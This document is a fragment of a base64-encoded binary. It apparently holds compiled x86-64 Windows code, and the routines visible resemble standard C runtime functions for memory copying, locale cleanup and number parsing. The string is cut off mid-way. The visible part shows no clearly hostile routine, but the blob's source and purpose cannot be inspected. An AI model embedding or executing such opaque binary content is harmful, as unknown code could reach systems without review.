//SIvPSGPYSMH7Begmyf//g+AfSGvIWEkDDN7rA0iLzYpBOCR/PAEPhLgAAABIi8/oAcn//4P4/3QvSIvP6PTI//+D+P50IkiLz+jnyP//SIvPSGPYSMH7BejYyP//g+AfSGvoWEkDLN72RQiAD4SJAAAASI1UJCRIjUwkIEQPt85BuAUAAADodu7//zPbhcB0Crj//wAA6YkAAAA5XCQgfj5MjXQkJP9PCHgWSIsPQYoGiAFIiwcPtghI/8BIiQfrDkEPvg5Ii9foYIH//4vIg/n/dL3/w0n/xjtcJCB8xw+3xutASGNPCEiDwf6JTwiFyXgmSIsPZokx6xVIY0cISIPA/olHCIXAeA9IiwdmiTBIgwcCD7fG6wtIi9cPt87oyToAAEiLTCQwSDPM6Gxz//9Ii1wkcEiLbCR4SIPEQEFeX17DzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7FBFM/ZJi+hIi/JIi/lIhdJ0E02FwHQORDgydSZIhcl0BGZEiTEzwEiLXCRgSItsJGhIi3QkcEiLfCR4SIPEUEFew0iNTCQwSYvR6D2E//9Ii0QkMEw5sDgBAAB1FUiF/3QGD7YGZokHuwEAAADprQAAAA+2DkiNVCQw6FHq//+7AQAAAIXAdFpIi0wkMESLidQAAABEO8t+L0E76Xwqi0kEQYvGSIX/D5XAjVMITIvGiUQkKEiJfCQg/xW5XgAASItMJDCFwHUSSGOB1AAAAEg76HI9RDh2AXQ3i5nUAAAA6z1Bi8ZIhf9Ei8sPlcBMi8a6CQAAAIlEJChIi0QkMEiJfCQgi0gE/xVrXgAAhcB1Duiejv//g8v/xwAqAAAARDh0JEh0DEiLTCRAg6HIAAAA/YvD6e7+///MzMxFM8nppP7//8zMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABIgezYBAAATTPATTPJSIlkJCBMiUQkKOiKTQAASIHE2AQAAMPMzMzMzMxmDx9EAABIiUwkCEiJVCQYRIlEJBBJx8EgBZMZ6wjMzMzMzMxmkMPMzMzMzMxmDx+EAAAAAADDzMzMSIlcJAhIiXQkEFdIg+xAi9pIi9FIjUwkIEGL+UGL8Oikgv//SItEJCgPttNAhHwCGXUehfZ0FEiLRCQgSIuICAEAAA+3BFEjxusCM8CFwHQFuAEAAACAfCQ4AHQMSItMJDCDocgAAAD9SItcJFBIi3QkWEiDxEBfw8zMzIvRQbkEAAAARTPAM8npcv///8zMQFNIg+wgSIXJdA1IhdJ0CE2FwHUcRIgB6EON//+7FgAAAIkY6Pd9//+Lw0iDxCBbw0yLyU0ryEGKAEOIBAFJ/8CEwHQFSP/Kde1IhdJ1DogR6AqN//+7IgAAAOvFM8DryszMzEiJXCQISIl0JBBIiXwkGEFXSIPsIEhjwUiL8EjB/gVMjT3ywQYAg+AfSGvYWEmLPPeDfDsMAHU0uQoAAADoGpr//5CDfDsMAHUYSI1LEEgDz0UzwLqgDwAA6Caw////RDsMuQoAAADo4Jv//0mLDPdIg8EQSAPL/xUDXQAAuAEAAABIi1wkMEiLdCQ4SIt8JEBIg8QgQV/DSIlcJAhIiXwkEEFWSIPsIIXJeG87DR7HBgBzZ0hjwUyNNVrBBgBIi/iD4B9Iwf8FSGvYWEmLBP72RBgIAXRESIM8GP90PYM9o7gGAAF1J4XJdBb/yXQL/8l1G7n0////6wy59f///+sFufb///8z0v8V6loAAEmLBP5IgwwD/zPA6xbo3Iv//8cACQAAAOhhi///gyAAg8j/SItcJDBIi3wkOEiDxCBBXsPMzEiD7CiD+f51Feg6i///gyAA6KKL///HAAkAAADrTYXJeDE7DWTGBgBzKUhjyUyNBaDABgBIi8GD4R9IwfgFSGvRWEmLBMD2RBAIAXQGSIsEEOsc6PCK//+DIADoWIv//8cACQAAAOgNfP//SIPI/0iDxCjDSGPRTI0FVsAGAEiLwoPiH0jB+AVIa8pYSYsEwEiDwRBIA8hI/yWmWwAAzMxmiUwkCEiD7DhIiw3E7AAASIP5/nUM6Ik3AABIiw2y7AAASIP5/3UHuP//AADrJUiDZCQgAEyNTCRISI1UJEBBuAEAAAD/FcFZAACFwHTZD7dEJEBIg8Q4w8zMzMzMzMzMzMzMzMzMzMzMZmYPH4QAAAAAAEiD7BBMiRQkTIlcJAhNM9tMjVQkGEwr0E0PQtNlTIscJRAAAABNO9NzFmZBgeIA8E2NmwDw//9BxgMATTvTdfBMixQkTItcJAhIg8QQw8zMSIXJD4QAAQAAU0iD7CBIi9lIi0kYSDsNDOsAAHQF6OFv//9Ii0sgSDsNAusAAHQF6M9v//9Ii0soSDsN+OoAAHQF6L1v//9Ii0swSDsN7uoAAHQF6Ktv//9Ii0s4SDsN5OoAAHQF6Jlv//9Ii0tASDsN2uoAAHQF6Idv//9Ii0tISDsN0OoAAHQF6HVv//9Ii0toSDsN3uoAAHQF6GNv//9Ii0twSDsN1OoAAHQF6FFv//9Ii0t4SDsNyuoAAHQF6D9v//9Ii4uAAAAASDsNveoAAHQF6Cpv//9Ii4uIAAAASDsNsOoAAHQF6BVv//9Ii4uQAAAASDsNo+oAAHQF6ABv//9Ig8QgW8PMzEiFyXRmU0iD7CBIi9lIiwlIOw3t6QAAdAXo2m7//0iLSwhIOw3j6QAAdAXoyG7//0iLSxBIOw3Z6QAAdAXotm7//0iLS1hIOw0P6gAAdAXopG7//0iLS2BIOw0F6gAAdAXokm7//0iDxCBbw0iFyQ+E8AMAAFNIg+wgSIvZSItJCOhybv//SItLEOhpbv//SItLGOhgbv//SItLIOhXbv//SItLKOhObv//SItLMOhFbv//SIsL6D1u//9Ii0tA6DRu//9Ii0tI6Ctu//9Ii0tQ6CJu//9Ii0tY6Blu//9Ii0tg6BBu//9Ii0to6Adu//9Ii0s46P5t//9Ii0tw6PVt//9Ii0t46Oxt//9Ii4uAAAAA6OBt//9Ii4uIAAAA6NRt//9Ii4uQAAAA6Mht//9Ii4uYAAAA6Lxt//9Ii4ugAAAA6LBt//9Ii4uoAAAA6KRt//9Ii4uwAAAA6Jht//9Ii4u4AAAA6Ixt//9Ii4vAAAAA6IBt//9Ii4vIAAAA6HRt//9Ii4vQAAAA6Ght//9Ii4vYAAAA6Fxt//9Ii4vgAAAA6FBt//9Ii4voAAAA6ERt//9Ii4vwAAAA6Dht//9Ii4v4AAAA6Cxt//9Ii4sAAQAA6CBt//9Ii4sIAQAA6BRt//9Ii4sQAQAA6Aht//9Ii4sYAQAA6Pxs//9Ii4sgAQAA6PBs//9Ii4soAQAA6ORs//9Ii4swAQAA6Nhs//9Ii4s4AQAA6Mxs//9Ii4tAAQAA6MBs//9Ii4tIAQAA6LRs//9Ii4tQAQAA6Khs//9Ii4toAQAA6Jxs//9Ii4twAQAA6JBs//9Ii4t4AQAA6IRs//9Ii4uAAQAA6Hhs//9Ii4uIAQAA6Gxs//9Ii4uQAQAA6GBs//9Ii4tgAQAA6FRs//9Ii4ugAQAA6Ehs//9Ii4uoAQAA6Dxs//9Ii4uwAQAA6DBs//9Ii4u4AQAA6CRs//9Ii4vAAQAA6Bhs//9Ii4vIAQAA6Axs//9Ii4uYAQAA6ABs//9Ii4vQAQAA6PRr//9Ii4vYAQAA6Ohr//9Ii4vgAQAA6Nxr//9Ii4voAQAA6NBr//9Ii4vwAQAA6MRr//9Ii4v4AQAA6Lhr//9Ii4sAAgAA6Kxr//9Ii4sIAgAA6KBr//9Ii4sQAgAA6JRr//9Ii4sYAgAA6Ihr//9Ii4sgAgAA6Hxr//9Ii4soAgAA6HBr//9Ii4swAgAA6GRr//9Ii4s4AgAA6Fhr//9Ii4tAAgAA6Exr//9Ii4tIAgAA6EBr//9Ii4tQAgAA6DRr//9Ii4tYAgAA6Chr//9Ii4tgAgAA6Bxr//9Ii4toAgAA6BBr//9Ii4twAgAA6ARr//9Ii4t4AgAA6Phq//9Ii4uAAgAA6Oxq//9Ii4uIAgAA6OBq//9Ii4uQAgAA6NRq//9Ii4uYAgAA6Mhq//9Ii4ugAgAA6Lxq//9Ii4uoAgAA6LBq//9Ii4uwAgAA6KRq//9Ii4u4AgAA6Jhq//9Ig8QgW8PMzEBVQVRBVUFWQVdIg+xQSI1sJEBIiV1ASIl1SEiJfVBIiwU21wAASDPFSIlFCItdYDP/TYvhRYvoSIlVAIXbfipEi9NJi8FB/8pAODh0DEj/wEWF0nXwQYPK/4vDQSvC/8g7w41YAXwCi9hEi3V4i/dFhfZ1B0iLAUSLcAT3nYAAAABEi8tNi8Qb0kGLzol8JCiD4ghIiXwkIP/C/xUDVAAATGP4hcB1BzPA6RcCAABJufD///////8PhcB+bjPSSI1C4En390iD+AJyX0uNDD9IjUEQSDvBdlJKjQx9EAAAAEiB+QAEAAB3KkiNQQ9IO8F3A0mLwUiD4PDoPfn//0gr4EiNfCRASIX/dJzHB8zMAADrE+i3af//SIv4SIXAdArHAN3dAABIg8cQSIX/D4R0////RIvLTYvEugEAAABBi85EiXwkKEiJfCQg/xVSUwAAhcAPhFkBAABMi2UAIXQkKEghdCQgSYvMRYvPTIvHQYvV6GAFAABIY/CFwA+EMAEAAEG5AAQAAEWF6XQ2i01whckPhBoBAAA78Q+PEgEAAEiLRWiJTCQoRYvPTIvHQYvVSYvMSIlEJCDoGQUAAOnvAAAAhcB+dzPSSI1C4Ej39kiD+AJyaEiNDDZIjUEQSDvBdltIjQx1EAAAAEk7yXc1SI1BD0g7wXcKSLjw////////D0iD4PDoL/j//0gr4EiNXCRASIXbD4SVAAAAxwPMzAAA6xPopWj//0iL2EiFwHQOxwDd3QAASIPDEOsCM9tIhdt0bUWLz0yLx0GL1UmLzIl0JChIiVwkIOh4BAAAM8mFwHQ8i0VwM9JIiUwkOESLzkyLw0iJTCQwhcB1C4lMJChIiUwkIOsNiUQkKEiLRWhIiUQkIEGLzv8V7FEAAIvwSI1L8IE53d0AAHUF6N1n//9IjU/wgTnd3QAAdQXozGf//4vGSItNCEgzzeiaZf//SItdQEiLdUhIi31QSI1lEEFfQV5BXUFcXcNIiVwkCEiJdCQQV0iD7HBIi/JIi9FIjUwkUEmL2UGL+Oindv//i4QkwAAAAEiNTCRQTIvLiUQkQIuEJLgAAABEi8eJRCQ4i4QksAAAAEiL1olEJDBIi4QkqAAAAEiJRCQoi4QkoAAAAIlEJCDoo/z//4B8JGgAdAxIi0wkYIOhyAAAAP1MjVwkcEmLWxBJi3MYSYvjX8PMzEBVQVRBVUFWQVdIg+xASI1sJDBIiV1ASIl1SEiJfVBIiwWy0wAASDPFSIlFAESLdWgz/0WL+U2L4ESL6kWF9nUHSIsBRItwBPddcEGLzol8JCgb0kiJfCQgg+II/8L/FbxQAABIY/CFwHUHM8Dp3gAAAH53SLjw////////f0g78HdoSI0MNkiNQRBIO8F2W0iNDHUQAAAASIH5AAQAAHcxSI1BD0g7wXcKSLjw////////D0iD4PDo+/X//0gr4EiNXCQwSIXbdKHHA8zMAADrE+h1Zv//SIvYSIXAdA/HAN3dAABIg8MQ6wNIi99IhdsPhHT///9Mi8Yz0kiLy00DwOjhgP//RYvPTYvEugEAAABBi86JdCQoSIlcJCD/FfxPAACFwHQVTItNYESLwEiL00GLzf8VDU8AAIv4SI1L8IE53d0AAHUF6L5l//+Lx0iLTQBIM83ojGP//0iLXUBIi3VISIt9UEiNZRBBX0FeQV1BXF3DzMxIiVwkCEiJdCQQV0iD7GCL8kiL0UiNTCRAQYvZSYv46Jh0//+LhCSgAAAASI1MJEBEi8uJRCQwi4QkmAAAAEyLx4lEJChIi4QkkAAAAIvWSIlEJCDoL/7//4B8JFgAdAxIi0wkUIOhyAAAAP1Ii1wkcEiLdCR4SIPEYF/DuQIAAADpzoL//8zMSIPsKEiFyXUZ6E5////HABYAAADoA3D//0iDyP9Ig8Qow0yLwUiLDVSrBgAz0kiDxChI/yUHTgAAzMzMSIPsKOjj3///SIXAdAq5FgAAAOgE4P//9gV14AAAAnQpuRcAAADoQT4AAIXAdAe5BwAAAM0pQbgBAAAAuhUAAEBBjUgC6DJu//+5AwAAAOgcg///zMzMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7CBIi+kz/77jAAAATI01qn0AAI0EPkG4VQAAAEiLzZkrwtH4SGPYSIvTSAPSSYsU1ugDAQAAhcB0E3kFjXP/6wONewE7/n7Lg8j/6wtIi8NIA8BBi0TGCEiLXCQwSItsJDhIi3QkQEiLfCRISIPEIEFew8zMSIPsKEiFyXQi6Gb///+FwHgZSJhIPeQAAABzD0iNDeVuAABIA8CLBMHrAjPASIPEKMPMzEyL3EmJWwhJiXMQV0iD7FBMixWtuQYAQYvZSYv4TDMVYNAAAIvydCozwEmJQ+hJiUPgSYlD2IuEJIgAAACJRCQoSIuEJIAAAABJiUPIQf/S6y3odf///0SLy0yLx4vIi4QkiAAAAIvWiUQkKEiLhCSAAAAASIlEJCD/FWVMAABIi1wkYEiLdCRoSIPEUF/DzEUzyUyL0kyL2U2FwHRDTCvaQw+3DBONQb9mg/gZdwRmg8EgQQ+3Eo1Cv2aD+Bl3BGaDwiBJg8ICSf/IdApmhcl0BWY7ynTKD7fCRA+3yUQryEGLwcPMzMzMzMzMzMzMzMzMzMzMzMzMzMxmZg8fhAAAAAAATIvZTIvSSYP4EA+GuQAAAEgr0XMPSYvCSQPASDvID4yWAwAAD7ol7KgGAAFzE1dWSIv5SYvySYvI86ReX0mLw8MPuiXPqAYAAg+CVgIAAPbBB3Q29sEBdAuKBApJ/8iIAUj/wfbBAnQPZosECkmD6AJmiQFIg8EC9sEEdA2LBApJg+gEiQFIg8EETYvIScHpBQ+F2QEAAE2LyEnB6QN0FEiLBApIiQFIg8EISf/JdfBJg+AHTYXAdQdJi8PDDx8ASI0UCkyL0esDTYvTTI0N7Sr//0OLhIEg1QAASQPB/+Bk1QAAaNUAAHPVAAB/1QAAlNUAAJ3VAACv1QAAwtUAAN7VAADo1QAA+9UAAA/WAAAs1gAAPdYAAFfWAABy1gAAltYAAEmLw8NID7YCQYgCSYvDw0gPtwJmQYkCSYvDw0gPtgJID7dKAUGIAmZBiUoBSYvDw4sCQYkCSYvDw0gPtgKLSgFBiAJBiUoBSYvDw0gPtwKLSgJmQYkCQYlKAkmLw8NID7YCSA+3SgGLUgNBiAJmQYlKAUGJUgNJi8PDSIsCSYkCSYvDw0gPtgJIi0oBQYgCSYlKAUmLw8NID7cCSItKAmZBiQJJiUoCSYvDw0gPtgJID7dKAUiLUgNBiAJmQYlKAUmJUgNJi8PDiwJIi0oEQYkCSYlKBEmLw8NID7YCi0oBSItSBUGIAkGJSgFJiVIFSYvDw0gPtwKLSgJIi1IGZkGJAkGJSgJJiVIGSYvDw0wPtgJID7dCAYtKA0iLUgdFiAJmQYlCAUGJSgNJiVIHSYvDw/MPbwLzQQ9/AkmLw8NmZmZmZg8fhAAAAAAASIsECkyLVAoISIPBIEiJQeBMiVHoSItECvBMi1QK+En/yUiJQfBMiVH4ddRJg+Af6fL9//9Jg/ggD4bhAAAA9sEPdQ4PEAQKSIPBEEmD6BDrHQ8QDApIg8EggOHwDxBECvBBDxELSIvBSSvDTCvATYvIScHpB3RmDylB8OsKZpAPKUHgDylJ8A8QBAoPEEwKEEiBwYAAAAAPKUGADylJkA8QRAqgDxBMCrBJ/8kPKUGgDylJsA8QRArADxBMCtAPKUHADylJ0A8QRArgDxBMCvB1rQ8pQeBJg+B/DyjBTYvIScHpBHQaZg8fhAAAAAAADylB8A8QBApIg8EQSf/Jde9Jg+APdA1JjQQIDxBMAvAPEUjwDylB8EmLw8MPH0AAQQ8QAkmNTAjwDxAMCkEPEQMPEQlJi8PDDx+EAAAAAABmZmaQZmZmkGaQD7olVqUGAAIPgrkAAABJA8j2wQd0NvbBAXQLSP/JigQKSf/IiAH2wQJ0D0iD6QJmiwQKSYPoAmaJAfbBBHQNSIPpBIsECkmD6ASJAU2LyEnB6QV1QU2LyEnB6QN0FEiD6QhIiwQKSf/JSIkBdfBJg+AHTYXAdQ9Ji8PDZmZmDx+EAAAAAABJK8hMi9FIjRQK6X38//+QSItECvhMi1QK8EiD6SBIiUEYTIlREEiLRAoITIsUCkn/yUiJQQhMiRF11UmD4B/rjkmD+CAPhgX///9JA8j2wQ91DkiD6RAPEAQKSYPoEOsbSIPpEA8QDApIi8GA4fAPEAQKDxEITIvBTSvDTYvIScHpB3RoDykB6w1mDx9EAAAPKUEQDykJDxBECvAPEEwK4EiB6YAAAAAPKUFwDylJYA8QRApQDxBMCkBJ/8kPKUFQDylJQA8QRAowDxBMCiAPKUEwDylJIA8QRAoQDxAMCnWuDylBEEmD4H8PKMFNi8hJwekEdBpmZg8fhAAAAAAADykBSIPpEA8QBApJ/8l18EmD4A90CEEPEApBDxELDykBSYvDw8zMzEiJXCQYiUwkCFZXQVZIg+wgSGPZg/v+dRjoDnf//4MgAOh2d///xwAJAAAA6YEAAACFyXhlOx01sgYAc11Ii8NIi/tIwf8FTI01aqwGAIPgH0hr8FhJiwT+D75MMAiD4QF0N4vL6Dbq//+QSYsE/vZEMAgBdAuLy+hHAAAAi/jrDugWd///xwAJAAAAg8//i8vowuv//4vH6xvojXb//4MgAOj1dv//xwAJAAAA6Kpn//+DyP9Ii1wkUEiDxCBBXl9ew8xIiVwkCFdIg+wgSGP5i8/oDOv//0iD+P90WUiLBdOrBgC5AgAAAIP/AXUJQIS4uAAAAHUKO/l1HfZAYAF0F+jd6v//uQEAAABIi9jo0Or//0g7w3Qei8/oxOr//0iLyP8VB0YAAIXAdQr/Fe1FAACL2OsCM9uLz+j46f//SIvXSIvPSMH5BYPiH0yNBWSrBgBJiwzISGvSWMZEEQgAhdt0DIvL6OB1//+DyP/rAjPASItcJDBIg8QgX8PMzMzMzMzMzMzMSIlcJAhIiXQkGEiJfCQgVUFUQVVBVkFXSIvsSIPsYEiLBWrIAABIM8RIiUX4D7dBCkQPtwkz24v4JQCAAABBweEQiUXEi0EGgef/fwAAiUXoi0ECge//PwAAQbwfAAAASIlV0ESJTdiJRexEiU3wjXMBRY10JOSB/wHA//91KUSLw4vDOVyF6HUNSAPGSTvGfPLptwQAAEiJXeiJXfC7AgAAAOmmBAAASItF6EWLxEGDz/9IiUXgiwXj1gAAiX3A/8hEi+uJRcj/wJlBI9QDwkSL0EEjxEHB+gUrwkQrwE1j2kKLTJ3oRIlF3EQPo8EPg54AAABBi8hBi8dJY9LT4PfQhUSV6HUZQY1CAUhjyOsJOVyN6HUKSAPOSTvOfPLrcotFyEGLzJlBI9QDwkSLwEEjxCvCQcH4BYvWK8hNY9hCi0Sd6NPijQwQO8hyBDvKcwNEi+5BjUD/QolMnehIY9CFwHgnRYXtdCKLRJXoRIvrRI1AAUQ7wHIFRDvGcwNEi+5EiUSV6Egr1nnZRItF3E1j2kGLyEGLx9PgQiFEnehBjUIBSGPQSTvWfR1IjU3oTYvGTCvCSI0MkTPSScHgAujbdP//RItN2EWF7XQCA/6LDcbVAACLwSsFwtUAADv4fRRIiV3oiV3wRIvDuwIAAADpVAMAADv5D48xAgAAK03ASItF4EWL10iJReiLwUSJTfCZTYveRIvLQSPUTI1F6APCRIvoQSPEK8JBwf0Fi8iL+LggAAAAQdPiK8FEi/BB99JBiwCLz4vQ0+hBi85BC8FBI9JEi8pBiQBNjUAEQdPhTCveddxNY9VBjXsCRY1zA02LykSLx0n32U07wnwVSYvQSMHiAkqNBIqLTAXoiUwV6OsFQolchehMK8Z53ESLRchFi9xBjUABmUEj1APCRIvIQSPEK8JBwfkFRCvYSWPBi0yF6EQPo9kPg5gAAABBi8tBi8dJY9HT4PfQhUSV6HUZQY1BAUhjyOsJOVyN6HUKSAPOSTvOfPLrbEGLwEGLzJlBI9QDwkSL0EEjxCvCQcH6BYvWK8hNY+pCi0St6NPii8tEjQQQRDvAcgVEO8JzAovOQY1C/0aJRK3oSGPQhcB4JIXJdCCLRJXoi8tEjUABRDvAcgVEO8ZzAovORIlElehIK9Z53EGLy0GLx9PgSWPJIUSN6EGNQQFIY9BJO9Z9GUiNTehNi8ZMK8JIjQyRM9JJweAC6AVz//+LBQPUAABBvSAAAABEi8v/wEyNReiZQSPUA8JEi9BBI8QrwkHB+gWLyESL2EHT50Qr6EH310GLAEGLy4vQ0+hBi81BC8FBI9dEi8pBiQBNjUAEQdPhTCv2ddtNY9JMi8dNi8pJ99lNO8J8FUmL0EjB4gJKjQSKi0wF6IlMFejrBUKJXIXoTCvGedxEi8OL3+kbAQAAiwVv0wAARIsVXNMAAEG9IAAAAJlBI9QDwkSL2EEjxCvCQcH7BYvIQdPnQffXQTv6fHpIiV3oD7pt6B+JXfBEK+iL+ESLy0yNRehBiwCLz0GL1yPQ0+hBi81BC8FEi8pB0+FBiQBNjUAETCv2ddxNY8tBjX4CTYvBSffYSTv5fBVIi9dIweICSo0EgotMBeiJTBXo6wSJXL3oSCv+ed1EiwXY0gAAi95FA8Lrb0SLBcrSAAAPunXoH0SL00QDx4v4RCvoTI1N6EGLAYvPi9DT6EGLzUELwkEj10SL0kGJAU2NSQRB0+JMK/Z13E1j00GNfgJNi8pJ99lJO/p8FUiL10jB4gJKjQSKi0wF6IlMFejrBIlcvehIK/553UiLVdBEKyVP0gAAQYrMQdPg913EG8AlAAAAgEQLwIsFOtIAAEQLReiD+EB1C4tF7ESJQgSJAusIg/ggdQNEiQKLw0iLTfhIM8zoCFT//0yNXCRgSYtbMEmLc0BJi3tISYvjQV9BXkFdQVxdw8zMSIlcJAhIiXQkGEiJfCQgVUFUQVVBVkFXSIvsSIPsYEiLBbLCAABIM8RIiUX4D7dBCkQPtwkz24v4JQCAAABBweEQiUXEi0EGgef/fwAAiUXoi0ECge//PwAAQbwfAAAASIlV0ESJTdiJRexEiU3wjXMBRY10JOSB/wHA//91KUSLw4vDOVyF6HUNSAPGSTvGfPLptwQAAEiJXeiJXfC7AgAAAOmmBAAASItF6EWLxEGDz/9IiUXgiwVD0QAAiX3A/8hEi+uJRcj/wJlBI9QDwkSL0EEjxEHB+gUrwkQrwE1j2kKLTJ3oRIlF3EQPo8EPg54AAABBi8hBi8dJY9LT4PfQhUSV6HUZQY1CAUhjyOsJOVyN6HUKSAPOSTvOfPLrcotFyEGLzJlBI9QDwkSLwEEjxCvCQcH4BYvWK8hNY9hCi0Sd6NPijQwQO8hyBDvKcwNEi+5BjUD/QolMnehIY9CFwHgnRYXtdCKLRJXoRIvrRI1AAUQ7wHIFRDvGcwNEi+5EiUSV6Egr1nnZRItF3E1j2kGLyEGLx9PgQiFEnehBjUIBSGPQSTvWfR1IjU3oTYvGTCvCSI0MkTPSScHgAugjb///RItN2EWF7XQCA/6LDSbQAACLwSsFItAAADv4fRRIiV3oiV3wRIvDuwIAAADpVAMAADv5D48xAgAAK03ASItF4EWL10iJReiLwUSJTfCZTYveRIvLQSPUTI1F6APCRIvoQSPEK8JBwf0Fi8iL+LggAAAAQdPiK8FEi/BB99JBiwCLz4vQ0+hBi85BC8FBI9JEi8pBiQBNjUAEQdPhTCveddxNY9VBjXsCRY1zA02LykSLx0n32U07wnwVSYvQSMHiAkqNBIqLTAXoiUwV6OsFQolchehMK8Z53ESLRchFi9xBjUABmUEj1APCRIvIQSPEK8JBwfkFRCvYSWPBi0yF6EQPo9kPg5gAAABBi8tBi8dJY9HT4PfQhUSV6HUZQY1BAUhjyOsJOVyN6HUKSAPOSTvOfPLrbEGLwEGLzJlBI9QDwkSL0EEjxCvCQcH6BYvWK8hNY+pCi0St6NPii8tEjQQQRDvAcgVEO8JzAovOQY1C/0aJRK3oSGPQhcB4JIXJdCCLRJXoi8tEjUABRDvAcgVEO8ZzAovORIlElehIK9Z53EGLy0GLx9PgSWPJIUSN6EGNQQFIY9BJO9Z9GUiNTehNi8ZMK8JIjQyRM9JJweAC6E1t//+LBWPOAABBvSAAAABEi8v/wEyNReiZQSPUA8JEi9BBI8QrwkHB+gWLyESL2EHT50Qr6EH310GLAEGLy4vQ0+hBi81BC8FBI9dEi8pBiQBNjUAEQdPhTCv2ddtNY9JMi8dNi8pJ99lNO8J8FUmL0EjB4gJKjQSKi0wF6IlMFejrBUKJXIXoTCvGedxEi8OL3+kbAQAAiwXPzQAARIsVvM0AAEG9IAAAAJlBI9QDwkSL2EEjxCvCQcH7BYvIQdPnQffXQTv6fHpIiV3oD7pt6B+JXfBEK+iL+ESLy0yNRehBiwCLz0GL1yPQ0+hBi81BC8FEi8pB0+FBiQBNjUAETCv2ddxNY8tBjX4CTYvBSffYSTv5fBVIi9dIweICSo0EgotMBeiJTBXo6wSJXL3oSCv+ed1EiwU4zQAAi95FA8Lrb0SLBSrNAAAPunXoH0SL00QDx4v4RCvoTI1N6EGLAYvPi9DT6EGLzUELwkEj10SL0kGJAU2NSQRB0+JMK/Z13E1j00GNfgJNi8pJ99lJO/p8FUiL10jB4gJKjQSKi0wF6IlMFejrBIlcvehIK/553UiLVdBEKyWvzAAAQYrMQdPg913EG8AlAAAAgEQLwIsFmswAAEQLReiD+EB1C4tF7ESJQgSJAusIg/ggdQNEiQKLw0iLTfhIM8zoUE7//0yNXCRgSYtbMEmLc0BJi3tISYvjQV9BXkFdQVxdw8zMSIlcJBhVVldBVEFVQVZBV0iNbCT5SIHsoAAAAEiLBf28AABIM8RIiUX/TIt1fzPbRIlNk0SNSwFIiU2nSIlVl0yNVd9miV2PRIvbRIlNi0SL+4ldh0SL40SL64vzi8tNhfZ1F+g7av//xwAWAAAA6PBa//8zwOm/BwAASYv4QYA4IHcZSQ++AEi6ACYAAAEAAABID6PCcwVNA8Hr4UGKEE0DwYP5BQ+PCgIAAA+E6gEAAESLyYXJD4SDAQAAQf/JD4Q6AQAAQf/JD4TfAAAAQf/JD4SJAAAAQf/JD4WaAgAAQbkBAAAAsDBFi/lEiU2HRYXbdTDrCUGKEEEr8U0DwTrQdPPrH4D6OX8eQYP7GXMOKtBFA9lBiBJNA9FBK/FBihBNA8E60H3djULVqP10JID6Qw+OPAEAAID6RX4MgOpkQTrRD4crAQAAuQYAAADpSf///00rwbkLAAAA6Tz///9BuQEAAACwMEWL+eshgPo5fyBBg/sZcw0q0EUD2UGIEk0D0esDQQPxQYoQTQPBOtB920mLBkiLiPAAAABIiwE6EHWFuQQAAADp7/7//41CzzwIdxO5AwAAAEG5AQAAAE0rwenV/v//SYsGSIuI8AAAAEiLAToQdRC5BQAAAEG5AQAAAOm0/v//gPowD4XyAQAAQbkBAAAAQYvJ6Z3+//+NQs9BuQEAAABFi/k8CHcGQY1JAuuqSYsGSIuI8AAAAEiLAToQD4R5////jULVqP0PhB7///+A+jB0venw/v//jULPPAgPhmr///9JiwZIi4jwAAAASIsBOhAPhHn///+A+it0KYD6LXQTgPowdINBuQEAAABNK8HpcAEAALkCAAAAx0WPAIAAAOlQ////uQIAAABmiV2P6UL///+A6jBEiU2HgPoJD4fZAAAAuQQAAADpCv///0SLyUGD6QYPhJwAAABB/8l0c0H/yXRCQf/JD4S0AAAAQYP5Ag+FmwAAADldd3SKSY14/4D6K3QXgPotD4XtAAAAg02L/7kHAAAA6dn+//+5BwAAAOnP/v//QbkBAAAARYvh6wZBihBNA8GA+jB09YDqMYD6CA+HRP///7kJAAAA6YX+//+NQs88CHcKuQkAAADpbv7//4D6MA+FjwAAALkIAAAA6X/+//+NQs9JjXj+PAh22ID6K3QHgPotdIPr1rkHAAAAg/kKdGfpWf7//0yLx+tjQbkBAAAAQLcwRYvh6ySA+jl/PUeNbK0AD77CRY1t6EaNLGhBgf1QFAAAfw1BihBNA8FAOtd91+sXQb1RFAAA6w+A+jkPj6H+//9BihBNA8FAOtd97OmR/v//TIvHQbkBAAAASItFl0yJAEWF/w+EEwQAAEGD+xh2GYpF9jwFfAZBAsGIRfZNK9FBuxgAAABBA/FFhdt1FQ+30w+3w4v7i8vp7wMAAEH/y0ED8U0r0UE4GnTyTI1Fv0iNTd9Bi9PoHhMAADldi30DQffdRAPuRYXkdQREA21nOV2HdQREK21vQYH9UBQAAA+PggMAAEGB/bDr//8PjGUDAABIjTXkxwAASIPuYEWF7Q+EPwMAAHkOSI01LskAAEH33UiD7mA5XZN1BGaJXb9Fhe0PhB0DAAC/AAAAgEG5/38AAEGLxUiDxlRBwf0DSIl1n4PgBw+E8QIAAEiYQbsAgAAAQb4BAAAASI0MQEiNFI5IiVWXZkQ5GnIli0II8g8QAkiNVc+JRdfyDxFFz0iLRc9IwegQSIlVl0ErxolF0Q+3QgoPt03JSIldr0QPt+BmQSPBiV23ZkQz4WZBI8lmRSPjRI0EAWZBO8kPg2cCAABmQTvBD4NdAgAAQbr9vwAAZkU7wg+HTQIAAEG6vz8AAGZFO8J3DEiJXcOJXb/pSQIAAGaFyXUgZkUDxvdFx////391Ezldw3UOOV2/dQlmiV3J6SQCAABmhcB1FmZFA8b3Qgj///9/dQk5WgR1BDkadLREi/tMjU2vQboFAAAARIlVh0WF0n5sQ40EP0iNfb9IjXIISGPIQYvHQSPGSAP5i9APtwcPtw5Ei9sPr8hBiwFEjTQIRDvwcgVEO/FzBkG7AQAAAEWJMUG+AQAAAEWF23QFZkUBcQREi12HSIPHAkiD7gJFK95EiV2HRYXbf7JIi1WXRSvWSYPBAkUD/kWF0g+PeP///0SLVbdEi02vuALAAABmRAPAvwAAAIBBv///AABmRYXAfj9Ehdd1NESLXbNBi9FFA9LB6h9FA8lBi8vB6R9DjQQbZkUDxwvCRAvRRIlNr4lFs0SJVbdmRYXAf8dmRYXAf2pmRQPHeWRBD7fAi/tm99gPt9BmRAPCRIR1r3QDQQP+RItds0GLwkHR6UGLy8HgH0HR68HhH0QL2EHR6kQLyUSJXbNEiU2vSSvWdcuF/0SJVbe/AAAAgHQSQQ+3wWZBC8ZmiUWvRItNr+sED7dFr0iLdZ9BuwCAAABmQTvDdxBBgeH//wEAQYH5AIABAHVIi0Wxg8n/O8F1OItFtYldsTvBdSIPt0W5iV21ZkE7x3ULZkSJXblmRQPG6xBmQQPGZolFuesGQQPGiUW1RI